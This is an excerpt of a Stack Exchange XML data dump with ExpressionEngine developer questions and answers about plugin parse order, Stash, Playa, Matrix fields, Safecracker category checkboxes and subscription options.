LastEditDate="2013-04-22T10:27:20.883" LastActivityDate="2013-04-22T10:27:20.883" Title="Assign Matrix field entry in Playa" Tags="|matrix|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9544" PostTypeId="2" ParentId="9539" CreationDate="2013-04-21T18:56:51.583" Score="0" Body="&lt;p&gt;Try &lt;code&gt;group_id&lt;/code&gt; instead of &lt;code&gt;cat_group_id&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-21T18:56:51.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9545" PostTypeId="1" AcceptedAnswerId="9547" CreationDate="2013-04-21T21:55:53.263" Score="3" ViewCount="208" Body="&lt;p&gt;I have a simple plugin that runs a query and returns a single value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:company_id id='{segment_3}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs a number such as 5081&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:cid=&quot;{exp:company_id id='{segment_3}'}&quot;}&#xA;&#xA;{cid}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I drop either {cid} or {exp:company_id id='{segment_3}'} into a query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:query sql=&quot;select field_id_10 as facebook, field_id_11 as twitter, field_id_13 as linkedin, field_id_15 as youtube from exp_channel_data where field_id_4 = '{exp:company_id id='{segment_3}'}'&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either using parse inward or not ... or using the preload or plugin the value in debugging shows : M00o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a bit stumped at this point.  Any pointers would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking Advice Below I got this to work both ways: &#xA;    {exp:company_id id=&quot;123456&quot;}{/exp:company_id} and &#xA;    {exp:company_id}{segment_3}{/exp:company_id}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $return_data;&#xA;&#xA;function company_id()&#xA;{&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata; &#xA;    $id = ($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('id')) ? $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('id') : $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata ;&#xA;&#xA;    $id = $this-&amp;gt;_get_id($id);&#xA;    $this-&amp;gt;return_data = $id;&#xA;}&#xA;&#xA;function _get_id($id)&#xA;{&#xA;    // Query&#xA;    $this-&amp;gt;results = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query('SELECT company_id FROM '.$this-&amp;gt;EE-&amp;gt;db-&amp;gt;dbprefix('jobs').' WHERE job_id = '.$id.' LIMIT 1');&#xA;&#xA;    if($this-&amp;gt;results-&amp;gt;num_rows() == 0) :&#xA;        if($this-&amp;gt;errors == 'false') :&#xA;            return null;&#xA;        else :&#xA;            return null;&#xA;        endif;&#xA;    else :&#xA;        return $this-&amp;gt;results-&amp;gt;row('company_id');&#xA;    endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="683" LastEditorUserId="683" LastEditDate="2013-04-22T00:30:36.263" LastActivityDate="2013-04-22T00:30:36.263" Title="Random String Returned on Plugin" Tags="|custom-fields|plugin|preload-replace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9546" PostTypeId="2" ParentId="9545" CreationDate="2013-04-21T23:24:45.347" Score="0" Body="&lt;p&gt;Use &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot; rel=&quot;nofollow&quot;&gt;Active Record&lt;/a&gt; instead and it will likely work, as well as being somewhat safer.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-04-21T23:24:45.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9547" PostTypeId="2" ParentId="9545" CreationDate="2013-04-21T23:28:42.160" Score="5" Body="&lt;p&gt;There are a few possible solutions available here:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Global variable approach&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Amend your plugin so that it sets a global variable instead of/as well as returning the value directly. This ensures that it is parsed very early so you can use it as {cid} in tag parameters. You can set a global EE variable like this in your plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars['cid'] = 123;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd still need to call the plugin once in a template for the variable to be set. If you'd rather keep it clean and not do that you'd simply need to make it into an extension instead, probably using the &lt;code&gt;sessions_end&lt;/code&gt; or &lt;code&gt;template_fetch_template&lt;/code&gt; hooks.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Tag pair approach&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could amend your plugin to work as a tag pair so that you can wrap it around any other EE tags and therefore get the parse order right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct() {      &#xA;  $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;  $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;  $id = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('id');&#xA;&#xA;  $vars[0] = array('cid' =&amp;gt; 123);&#xA;&#xA;  $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($tagdata, $vars);&#xA;  return $tagdata;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would then use the plugin as a tag pair and {cid} would be available on the inside.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Create a new plugin method&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you're comfortable making a plugin to do the job of fetching the company id, it seems odd to use the query module for this when you could just combine your methods together into a single plugin, so you'd have &lt;code&gt;{exp:your_site:company_id}&lt;/code&gt; and &lt;code&gt;{exp:your_site:company_social_links}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4. Use the channel:entries search parameter combined with one of the above&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you take the first or second approaches numbered above, could you not use a simple channel:entries tag with the &lt;code&gt;search&lt;/code&gt; parameter instead of a query tag? Eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries search:cf_company_id=&quot;={cid}&quot; ...}&#xA;   {cf_twitter}|{cf_facebook} etc&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This wouldn't perform as well as the query module but is a bit cleaner and less fiddly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;5. Stash&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/&quot;&gt;Stash&lt;/a&gt; is an answer for everything these days, and there's probably a way you could do some template gymnastics to make it work in pretty much the same way you're attempting to with the preload_replace. The complexity would probably outweigh the benefit however.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Security&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I should also point out that (whilst I don't know exactly what you're aiming for), you need to be quite careful from a security point of view that you don't allow users to hack your urls, since you're directly passing segment_3 into your plugin. Without the proper precautions this could allow people to view other companies' data by changing numbers in the urls.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-21T23:28:42.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9548" PostTypeId="2" ParentId="9543" CreationDate="2013-04-22T00:09:48.023" Score="1" Body="&lt;p&gt;Unfortunately Playa can only create relationships between entries, not individual fields. If you have the development skills, this would be a good candidate for a custom fieldtype if it doesn't already exist. (You could use &lt;a href=&quot;https://github.com/moresoda/ft.matrix_relations.ee_addon&quot; rel=&quot;nofollow&quot;&gt;moreMatrixRelations&lt;/a&gt; as a starting point for your own matrix-compatible field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could store all the alias names as entries (either in the People channel or in a new channel) and then use Playa to relate the aliases to the people and a pair of Playa fields nested in Matrix columns to choose both the person and his alias in the Movies entries. This could get quite unwieldy however, and performance would probably become an issue if a Matrix grows much beyond a dozen rows. &lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-22T00:09:48.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9549" PostTypeId="1" CreationDate="2013-04-22T07:08:31.903" Score="0" ViewCount="157" Body="&lt;p&gt;I'm finding that if I use a module tag like stash or playa as a parameter in a plugin tag, that an extra query for the module name is run for each loop. Here's the query that's run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `module_version`, `module_name`&#xA;FROM (`exp_modules`)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I can tell, it's EE looking up the module so that it can parse it's tags. Here's some example template code that's generating the extra queries. This example uses a channel entries loop and a playa tag as a parameter but using another module tag like stash with just a string of ids &lt;code&gt;1|2|3|4&lt;/code&gt; will do the same thing. The &lt;code&gt;sp_within&lt;/code&gt; plugin is a custom plugin I've written however I've tried this with other plugins and the same thing occurs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;professions&quot; orderby=&quot;title&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot; disable=&quot;custom_fields|categories|member_data|pagination&quot;}&#xA;    {exp:sp_within haystack='{exp:playa:child_ids field=&quot;member_profession&quot; entry_id=&quot;{zoo_visitor_id}&quot;}' needle='{entry_id}' parse=&quot;inward&quot;}&#xA;        &amp;lt;label&amp;gt;&amp;lt;input name=&quot;member_profession[selections][]&quot; value=&quot;{entry_id}&quot; type=&quot;checkbox&quot;{if within} checked=&quot;checked&quot;{/if}&amp;gt; {title}&amp;lt;/label&amp;gt;&#xA;    {/exp:sp_within}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;Here's a clearer example that just uses a channel entry loop and a stash variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;selected_ids&quot;}94|2|45|87{/exp:stash:set}&#xA;&#xA;{exp:channel:entries channel=&quot;professions&quot; dynamic=&quot;no&quot; disable=&quot;custom_fields|categories|member_data&quot;}&#xA;    {exp:sp_within haystack='{exp:stash:selected_ids}' needle='{entry_id}' parse=&quot;inward&quot;}&#xA;        &amp;lt;label&amp;gt;&amp;lt;input name=&quot;member_profession[selections][]&quot; value=&quot;{entry_id}&quot; type=&quot;checkbox&quot;{if within} checked=&quot;checked&quot;{/if}&amp;gt; {title}&amp;lt;/label&amp;gt;&#xA;    {/exp:sp_within}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I cache the query for the module name in my sp_within plugin? It's okay when there's only a few extra queries but it gets a bit ridiculous when there's 20 plus. Does anyone know how to remove the extra queries?&lt;/p&gt;&#xA;" OwnerUserId="975" LastEditorUserId="975" LastEditDate="2013-04-22T09:14:38.280" LastActivityDate="2013-04-23T06:37:17.570" Title="Using a module tag as parameter adds +1 query per loop" Tags="|add-on-development|module|plugin|performance|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9550" PostTypeId="2" ParentId="9549" CreationDate="2013-04-22T07:58:30.363" Score="0" Body="&lt;p&gt;That's because you're telling it to loop multiple times. The outer Channel Entries tag is a loop so it will loop through all results defined by the filtering criteria. Then You're calling in your plugin and passing in the Playa Child ID's tag which also produces a full loop to provide a single parameter to your plugin. Anything with tag pairs will loop. You're also passing in dynamic variables as attribute values so all in all that will produce quite a lot of queries to even return a small number of entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Stash will help to cut this down but obviously the loop(s) would still need to run at least once to have the value available to pass on to your plugin. So in that case you'll probably need to set some nested Stash results to run the Channel Entries tag and the Playa Child IDs tag. Then Stash those results and call your plugin later on (outside of that loop). The first time it's run it may well result in the same number of queries but after that you should see a noticeable reduction.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-04-22T08:19:48.813" LastActivityDate="2013-04-22T08:19:48.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9551" PostTypeId="1" AcceptedAnswerId="9554" CreationDate="2013-04-22T08:21:34.170" Score="2" ViewCount="165" Body="&lt;p&gt;I'm working on a site that has an 'edition', like a newspaper. The URL structure looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;website.dev/edition/2013-05-01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The date is the name and url title of the listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The edition channel links to all the content added to the website: articles, images, video, etc which all have their own listing channels. I'm using the structure module by the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I view an article from an edition the url structure is like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;website.dev/article/the-name-of-the-article&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I make the other listing channels subpages of the editions, the url structure will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;website.dev/edition/article/the-name-of-the-article&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I want it to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;website.dev/edition/2013-05-01/article/the-name-of-the-article&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any advice on how to do this (Using the structure module).&lt;/p&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-04-22T14:19:40.233" Title="URL Structures (Listings &amp; Pages)" Tags="|structure|url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9552" PostTypeId="2" ParentId="9539" CreationDate="2013-04-22T08:25:10.533" Score="0" Body="&lt;p&gt;You could perhaps feed a list of entry ids to the gwcode plugin's entry_id parameter via &lt;a href=&quot;https://github.com/croxton/Stash/&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;the_ids&quot; trim=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries category=&quot;241&quot; limit=&quot;999&quot; channel=&quot;products&quot; disable=&quot;categories|pagination|custom_fields|member_data&quot;}&#xA;    {entry_id}|&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:gwcode_categories parse=&quot;inward&quot; entry_id=&quot;{exp:stash:get name='the_ids'}&quot; show_empty=&quot;no&quot; style=&quot;linear&quot;} &#xA;   {if group_start}&#xA;     &amp;lt;h2&amp;gt;{cat_group_name}&amp;lt;/h2&amp;gt;&#xA;     &amp;lt;ul&amp;gt;&#xA;   {/if}&#xA;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=games_library/cat/{cat_url_title}}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;    {if group_end}&#xA;      &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-22T08:25:10.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9553" PostTypeId="2" ParentId="9549" CreationDate="2013-04-22T09:20:24.183" Score="0" Body="&lt;p&gt;This appears to be a limitation of using module tags as a parameter of any tag that produces a loop. I found two ways to avoid using the module tag as a parameter and therefore the additional queries for the module name.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;1. Set the stash type parameter to snippet&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This my preferred approach.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;sn_selected_ids&quot; type=&quot;snippet&quot;}94|2|45|87{/exp:stash:set}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;   {exp:channel:entries channel=&quot;professions&quot; dynamic=&quot;no&quot; disable=&quot;custom_fields|categories|member_data&quot;}&#xA;       {exp:sp_within haystack='{sn_selected_ids}' needle='{entry_id}'}&#xA;           &amp;lt;label&amp;gt;&amp;lt;input name=&quot;member_profession[selections][]&quot; value=&quot;{entry_id}&quot; type=&quot;checkbox&quot;{if within} checked=&quot;checked&quot;{/if}&amp;gt; {title}&amp;lt;/label&amp;gt;&#xA;       {/exp:sp_within}&#xA;   {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;2. Enable PHP in your template&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;selected_ids&quot;}94|2|45|87{/exp:stash:set}&#xA;{exp:channel:entries channel=&quot;professions&quot; dynamic=&quot;no&quot; disable=&quot;custom_fields|categories|member_data&quot;}&#xA;    &amp;lt;?php&#xA;        $haystack = '{exp:stash:selected_ids}';&#xA;        $haystack = explode('|', $haystack);&#xA;        $in_array = array_search('{entry_id}', $haystack);&#xA;    ?&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input name=&quot;member_profession[selections][]&quot; value=&quot;{entry_id}&quot; type=&quot;checkbox&quot;&amp;lt;? if ($in_array !== false) echo ' checked=&quot;checked&quot;' ?&amp;gt;&amp;gt;{title}&amp;lt;/label&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="975" LastEditorUserId="975" LastEditDate="2013-04-23T02:21:23.750" LastActivityDate="2013-04-23T02:21:23.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9554" PostTypeId="2" ParentId="9551" CreationDate="2013-04-22T10:05:26.577" Score="1" Body="&lt;p&gt;Mmm, sounds like a job for &lt;a href=&quot;http://devot-ee.com/add-ons/router&quot; rel=&quot;nofollow&quot;&gt;Router&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-04-22T10:05:26.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9555" PostTypeId="1" AcceptedAnswerId="9556" CreationDate="2013-04-22T10:12:13.220" Score="0" ViewCount="381" Body="&lt;p&gt;I've got a safecracker form which edits a channel entry. I want to display the categories that have been selected for the entry through check boxes, I've used this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show_group=&quot;13&quot;}&#xA;   &amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; id=&quot;{category_name}&quot; value=&quot;{category_id}&quot;{checked}&amp;gt; {category_name}&amp;lt;br&amp;gt;&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works fine, the checkboxes that have been previously selected are showing up as selected, but it's ignoring the 'show_group=&quot;13&quot;' parameter. It's showing all a categories for that channel but I just want it to show the category group 13.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where I'm going wrong? From the documentation it looks like I've got the right parameter, and 13 is definitely to category group id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way of displaying the categories selected for a certain category id for an entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Julie&lt;/p&gt;&#xA;" OwnerUserId="988" LastActivityDate="2013-04-22T10:58:23.317" Title="Category tag pair show group parameter not working" Tags="|safecracker|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9556" PostTypeId="2" ParentId="9555" CreationDate="2013-04-22T10:38:36.813" Score="1" Body="&lt;p&gt;A work-around is to use conditionals when displaying the categories, and set hidden form fields for any categories from other groups to preserve them when they're checked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;  {if '{category_group_id}'=='13'}&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; id=&quot;{category_name}&quot; value=&quot;{category_id}&quot;{checked}&amp;gt; {category_name}&amp;lt;br&amp;gt;&#xA;  {/if}&#xA;  {if &quot;{category_group_id}&quot; != '13' &amp;amp;&amp;amp; '{checked}' != &quot;&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;category[]&quot; value=&quot;{category_id}&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;  {/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ps. you can use &lt;code&gt;{categories group_id=&quot;xx&quot;}...{/categories}&lt;/code&gt; to limit to a category group, but from my tests, that doesn't seem to preserve any categories  from other groups that might already have been selected.&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-04-22T10:58:23.317" LastActivityDate="2013-04-22T10:58:23.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9557" PostTypeId="1" CreationDate="2013-04-22T11:12:51.073" Score="1" ViewCount="256" Body="&lt;p&gt;I have created Zoo visitor members to have the ability to upload only one entry via safecracker with status &lt;strong&gt;close&lt;/strong&gt; (Which I can do that). They will be allowed to tweak the content whatever they like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hoping to find a way, to create a monthly payment to switch the status to &lt;strong&gt;open&lt;/strong&gt; to make it visible to public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I develop anything. I saw the price for Cartthob Subscription which is very steep and cannot afford right now. I would like to know if it possible to work with Simple Commerce, has anyone done this before or offer me a guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking above at my request which looks really simple, $299 is too steep for this Cartthob Subscription feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: I do not have any experience with payment gateways setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="1350" LastEditorUserId="1350" LastEditDate="2013-04-22T11:19:12.113" LastActivityDate="2013-04-23T10:36:18.050" Title="Monthly subscription - Simple Commerce" Tags="|safecracker|ecommerce|zoo-visitor|status|payment-gateway|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9558" PostTypeId="2" ParentId="6630" CreationDate="2013-04-22T11:12:51.517" Score="1" Body="&lt;p&gt;I tested this and seems tot work correctly (EE 2.5.5). if you want to preserve already selected categories, you could make your select a multi-select.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;...&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-04-22T11:12:51.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9559" PostTypeId="2" ParentId="8934" CreationDate="2013-04-22T11:20:10.303" Score="0" Body="&lt;p&gt;The &lt;code&gt;{checked}&lt;/code&gt; variable is either empty or contains &lt;code&gt;checked=&quot;checked&quot;&lt;/code&gt;. to check it in a conditional you have to check that it is not empty, and because it contains quotes the conditional needs to be in single quotes. The following should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;  {if '{checked}' != ''}&#xA;     {category_name} &#xA;  {/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-04-22T11:20:10.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9560" PostTypeId="2" ParentId="9557" CreationDate="2013-04-22T11:39:58.810" Score="0" Body="&lt;p&gt;No, Simple Commerce can't do subscriptions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like Justin says you can use Membrr but it's still going to cost $145. In my experience of using Membrr, the extra you'd pay for Cartthrob is worth it for the hassle you get from using Membrr, although support from Cartthrob is a bit of an issue at the moment.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Looking above at my request which looks really simple, $299 is too steep for this Cartthob Subscription feature.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It might look simple, but it's not, and $300 is a fair price for the amount of work it would save you if you were to develop it yourself.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-04-22T11:39:58.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9561" PostTypeId="2" ParentId="5940" CreationDate="2013-04-22T11:40:21.983" Score="0" Body="&lt;p&gt;It is possible with the native safecracker &lt;code&gt;{categories}&lt;/code&gt; tag, but your milage may vary. you can check if &lt;code&gt;{category_parent}&lt;/code&gt; is empty (meaning it is a top category), but there is no nice way to close the optgroup. I've found that not closing the optgroup does work, but haven't tested it in all browsers. Also, for nested categories EE outputs a couple of &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; before the category_name to denote the depth of the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: &lt;em&gt;also make sure how u want to use (or need to use) the setting for&lt;br&gt;&#xA;&quot;Auto-Assign Category Parents&quot; under Admin &gt; Channel Administration &gt; Global preferences&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot;&amp;gt;&#xA;{categories}&#xA;  {if '{category_parent}'==''}&#xA;    &amp;lt;optgroup label=&quot;{category_name}&quot;&amp;gt;&#xA;  {/if}&#xA;  {if '{category_parent}'!=''}&#xA;    &amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;  {/if}&#xA;{/categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;// result optgroups :) but not closing optgroup tags&#xA;&#xA;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot;&amp;gt;&#xA;  &amp;lt;optgroup label=&quot;base1&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;1&quot; selected=&quot;selected&quot;&amp;gt;cat1&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;2&quot;&amp;gt;cat2&amp;lt;/option&amp;gt;&#xA;  &amp;lt;optgroup label=&quot;base2&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;7&quot;&amp;gt;cat3&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-04-22T11:45:40.523" LastActivityDate="2013-04-22T11:45:40.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9562" PostTypeId="1" CreationDate="2013-04-22T12:25:40.803" Score="2" ViewCount="1693" Body="&lt;p&gt;how can I conditionally output rows of an matrix, if there are any? Eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if matrixfield}&#xA;    &amp;lt;h2&amp;gt;Also check&amp;lt;/h2&amp;gt;&#xA;    {matrixfield}&#xA;        &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {/matrixfield}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1314" LastActivityDate="2013-04-22T15:17:21.807" Title="Checking if Matrix has rows or not" Tags="|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
